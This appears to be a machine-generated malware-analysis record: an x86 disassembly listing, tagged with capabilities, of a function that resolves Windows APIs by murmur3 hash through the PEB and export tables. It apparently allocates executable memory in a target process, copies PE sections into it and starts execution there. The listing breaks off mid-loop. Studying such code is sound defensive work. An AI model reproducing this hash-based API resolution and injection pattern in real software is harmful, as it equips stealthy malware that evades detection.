Function at 0x450580
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using murmur3
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x178
mov eax, dword [0x673010]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x154]
mov dword [ebp - 0x160], ecx
push eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x3e521c7a
push eax
sub esp, 8
mov dword [ebp - 0x24], 0x3f9d0ab7
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x20], 0x94832641
mov dword [ebp - 0x1c], 0xa06e5f6d
mov dword [ebp - 0x18], 0x602c7be1
mov dword [ebp - 0x14], 0x3099c84f
mov dword [ebp - 0x10], 0x6a128bda
mov dword [ebp - 0xc], 0xf7a60472
mov dword [ebp - 0x154], 0x2bf18a3d
mov dword [ebp - 0x150], 0xc4d0976e
mov dword [ebp - 0x14c], 0x8d10e65b
mov dword [ebp - 0x148], 0x9e4cfa72
mov dword [ebp - 0x30], 8
mov dword [ebp - 0x2c], 0xe
call fcn.0044baf0
mov ecx, eax
mov eax, 0x5a4d
mov dword [ebp - 0x178], ecx
cmp word [ecx], ax
jne 0x451b78
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x174], eax
mov eax, dword [ecx + 0xc]
mov eax, dword [eax + 0xc]
nop
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x164], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x168], ecx
cmp ecx, edx
je 0x45071e
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x45071e
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x16c], ecx
dec ebx
mov esi, 0x39833708
mov cl, byte [edi]
inc edi
test cl, cl
je 0x450710
nop
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x4506a0
cmp esi, 0x437c5afe
je 0x450725
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x16c]
test ebx, ebx
jne 0x450683
mov eax, dword [eax]
jmp 0x450650
mov esi, dword [ebp - 0x168]
mov edx, dword [ebp - 0x164]
push 0x40
push 0x3000
mov eax, dword [esi + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [ebp - 0x174]
mov eax, dword [eax + edx]
add eax, edx
push dword [ecx + 0x50]
push dword [ecx + 0x34]
push dword [ebp - 0x160]
call eax
mov ecx, eax
mov dword [ebp - 0x164], ecx
test ecx, ecx
jne 0x4508a0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x164], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x168], ecx
cmp ecx, edx
je 0x450850
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x450850
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x16c], ecx
dec ebx
mov esi, 0xd9caaadb
mov cl, byte [edi]
inc edi
test cl, cl
je 0x450842
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x4507d2
cmp esi, 0x52ce415f
je 0x450857
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x16c]
test ebx, ebx
jne 0x4507b3
mov eax, dword [eax]
jmp 0x450780
mov esi, dword [ebp - 0x168]
mov edx, dword [ebp - 0x164]
push 0x40
push 0x3000
mov eax, dword [esi + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [ebp - 0x174]
mov eax, dword [eax + edx]
add eax, edx
push dword [ecx + 0x50]
push 0
push dword [ebp - 0x160]
call eax
mov dword [ebp - 0x164], eax
test eax, eax
je 0x451b72
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x154], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x150], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x14c], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x170], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x168], ecx
cmp ecx, edx
je 0x4509b0
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x4509b0
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x16c], ecx
dec ebx
mov esi, 0x19eb129e
mov cl, byte [edi]
inc edi
test cl, cl
je 0x4509a2
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x450932
cmp esi, 0x103c1b6d
je 0x4509b7
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x16c]
test ebx, ebx
jne 0x450913
mov eax, dword [eax]
jmp 0x4508e0
mov esi, dword [ebp - 0x168]
mov edx, dword [ebp - 0x170]
push 0x104
mov eax, dword [esi + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x13f]
push ecx
add eax, edx
push 0
call eax
mov al, byte [ebp + 0x10]
mov byte [ebp - 0x140], al
mov eax, dword fs:[0x30]
mov dword [ebp - 0x144], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x168], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x16c], ecx
cmp ecx, edx
je 0x450ae0
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x450ae0
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x170], ecx
dec ebx
mov esi, 0xaf8c8acc
mov cl, byte [edi]
inc edi
test cl, cl
je 0x450ad2
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x450a62
cmp esi, 0x4309f342
je 0x450ae7
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x170]
test ebx, ebx
jne 0x450a43
mov eax, dword [eax]
jmp 0x450a10
mov esi, dword [ebp - 0x16c]
mov edx, dword [ebp - 0x168]
push 0x40
push 0x3000
mov eax, dword [esi + 0x24]
push 0x1000
push 0
push dword [ebp - 0x160]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x158], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov esi, dword [ecx + 0x18]
mov dword [ebp - 0x168], esi
mov edx, dword [esi + 0x3c]
mov eax, dword [edx + esi + 0x78]
add eax, esi
mov dword [ebp - 0x16c], eax
cmp eax, esi
je 0x450c00
mov ebx, dword [eax + 0x18]
test ebx, ebx
je 0x450c00
mov eax, dword [eax + 0x20]
lea eax, [eax + ebx*4]
add eax, esi
mov edi, dword [eax - 4]
sub eax, 4
add edi, esi
mov dword [ebp - 0x170], eax
dec ebx
mov esi, 0xc514b1d
mov al, byte [edi]
inc edi
test al, al
je 0x450bef
movsx edx, al
lea edi, [edi + 1]
imul eax, edx, 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor eax, esi
rol eax, 0xd
add eax, 0xfaddaf14
lea esi, [eax + eax*4]
imul eax, edx, 0x51000000
rol eax, 0xf
imul eax, eax, 0x1b873593
xor esi, eax
xor esi, 1
mov eax, esi
shr eax, 0x10
xor eax, esi
imul edx, eax, 0x85ebca6b
mov eax, edx
shr eax, 0xd
xor eax, edx
imul edx, eax, 0xc2b2ae35
mov eax, edx
shr eax, 0x10
xor eax, edx
imul esi, eax, 0x539
mov al, byte [edi - 1]
test al, al
jne 0x450b83
cmp esi, 0xee87de60
je 0x450c07
mov eax, dword [ebp - 0x170]
mov esi, dword [ecx + 0x18]
test ebx, ebx
jne 0x450b64
mov ecx, dword [ecx]
jmp 0x450b31
mov esi, dword [ebp - 0x16c]
mov edx, dword [ebp - 0x168]
push 0
push 0x10c
mov eax, dword [esi + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
mov esi, dword [ebp - 0x158]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x144]
push ecx
push esi
push dword [ebp - 0x160]
add eax, edx
call eax
mov edx, dword [ebp - 0x174]
xor ecx, ecx
mov dword [ebp - 0x148], esi
mov dword [ebp - 0x168], ecx
movzx eax, word [edx + 0x14]
add eax, 0x2c
cmp word [edx + 6], cx
je 0x450de0
lea ebx, [eax + edx]
mov dword [ebp - 0x16c], ebx
mov eax, dword [ebx - 4]
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x450dc4
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x15c], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x170], ecx
cmp ecx, edx
je 0x450d60
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x450d60
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x158], ecx
dec ebx
mov esi, 0x80fd2bf1
mov cl, byte [edi]
inc edi
test cl, cl
je 0x450d52
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x450ce2
cmp esi, 0x94a474b2
je 0x450d67
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x158]
test ebx, ebx
jne 0x450cc3
mov eax, dword [eax]
jmp 0x450c90
mov edx, dword [ebp - 0x170]
mov esi, dword [ebp - 0x15c]
push 0
push dword [ebp - 0x2c]
mov eax, dword [edx + 0x24]
lea eax, [eax + ebx*2]
mov ebx, dword [ebp - 0x16c]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [ebx]
mov edx, dword [eax + esi]
mov eax, dword [ebx - 8]
add edx, esi
mov esi, dword [ebp - 0x178]
add ecx, esi
add eax, dword [ebp - 0x164]
push ecx
push eax
push dword [ebp - 0x160]
call edx
test eax, eax
je 0x450ed6
mov ecx, dword [ebp - 0x168]
mov edx, dword [ebp - 0x174]
movzx eax, word [edx + 6]
inc ecx
add ebx, 0x28
mov dword [ebp - 0x168], ecx
mov dword [ebp - 0x16c], ebx
cmp ecx, eax
jne 0x450c73
mov eax, dword [ebp - 0x178]
movups xmm0, xmmword [ebp - 0x154]
movups xmmword [eax], xmm0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x158], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x15c], ecx
cmp ecx, edx
je 0x450ecf
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x450ecf
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x2c], ecx
dec ebx
mov esi, 0xa8dba80f
mov cl, byte [edi]
inc edi
test cl, cl
je 0x450ec4
nop
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x450e50
cmp esi, 0x68a5531d
je 0x45100b
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x2c]
test ebx, ebx
jne 0x450e33
mov eax, dword [eax]
jmp 0x450e00
push esi
call fcn.0045bfc4
mov eax, dword fs:[0x30]
add esp, 4
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x158], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x15c], ecx
cmp ecx, edx
je 0x450fbb
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x450fbb
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x2c], ecx
dec ebx
mov esi, 0x27c6b362
mov cl, byte [edi]
inc edi
test cl, cl
je 0x450fb0
nop
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x450f40
cmp esi, 0x79b7ba5d
je 0x450fc2
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x2c]
test ebx, ebx
jne 0x450f23
mov eax, dword [eax]
jmp 0x450ef0
mov esi, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x158]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0x164]
push dword [ebp - 0x160]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0045bfb6
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x158]
push 0
push 0x1000
mov eax, dword [esi + 0x24]
push dword [ebp - 0x178]
push dword [ebp - 0x164]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
push dword [ebp - 0x160]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x158], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x15c], ecx
cmp ecx, edx
je 0x45111d
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x45111d
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x2c], ecx
dec ebx
mov esi, 0xe0b920c1
mov cl, byte [edi]
inc edi
test cl, cl
je 0x451112
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x4510a2
cmp esi, 0x80febe7d
je 0x451124
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x2c]
test ebx, ebx
jne 0x451086
mov eax, dword [eax]
jmp 0x451053
mov esi, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x158]
push 0x40
push 0x3000
mov eax, dword [esi + 0x24]
push 0x1000
push 0
push dword [ebp - 0x160]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov dword [ebp - 0x174], eax
test eax, eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
jne 0x451260
nop word [eax + eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x158], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x15c], ecx
cmp ecx, edx
je 0x45124f
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x45124f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x2c], ecx
dec ebx
mov esi, 0x7fbaa6f4
mov cl, byte [edi]
inc edi
test cl, cl
je 0x451244
nop
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x4511d0
cmp esi, 0xcfabe1c5
je 0x450fc2
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x2c]
test ebx, ebx
jne 0x4511b3
mov eax, dword [eax]
jmp 0x451180
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x158], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x15c], ecx
cmp ecx, edx
je 0x45132b
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x45132b
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x2c], ecx
dec ebx
mov esi, 0xd94b7041
mov cl, byte [edi]
inc edi
test cl, cl
je 0x451320
nop
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x4512b0
cmp esi, 0x5e4a9636
je 0x451332
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x2c]
test ebx, ebx
jne 0x451293
mov eax, dword [eax]
jmp 0x451260
mov esi, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x158]
push 0
push 0x1000
mov eax, dword [esi + 0x24]
push 0x450420
push dword [ebp - 0x174]
push dword [ebp - 0x160]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x158], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x15c], ecx
cmp ecx, edx
je 0x45144b
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x45144b
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x2c], ecx
dec ebx
mov esi, 0x7d1918a9
mov cl, byte [edi]
inc edi
test cl, cl
je 0x451440
nop
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x4513d0
cmp esi, 0x9091ab9c
je 0x451452
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x2c]
test ebx, ebx
jne 0x4513b3
mov eax, dword [eax]
jmp 0x451380
mov esi, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x158]
push 0
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0x164]
push dword [ebp - 0x174]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
push 0
push 0
push dword [ebp - 0x160]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov dword [ebp - 0x170], eax
test eax, eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
jne 0x4516f0
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x158], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x15c], ecx
cmp ecx, edx
je 0x45157f
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x45157f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x2c], ecx
dec ebx
mov esi, 0x3c35cd6a
mov cl, byte [edi]
inc edi
test cl, cl
je 0x451574
nop
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x451500
cmp esi, 0x355d4dd0
je 0x451586
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x2c]
test ebx, ebx
jne 0x4514e3
mov eax, dword [eax]
jmp 0x4514b0
mov esi, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x158]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0x164]
push dword [ebp - 0x160]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x158], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x15c], ecx
cmp ecx, edx
je 0x45169f
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x45169f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x2c], ecx
dec ebx
mov esi, 0x86fbf411
mov cl, byte [edi]
inc edi
test cl, cl
je 0x451694
nop
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
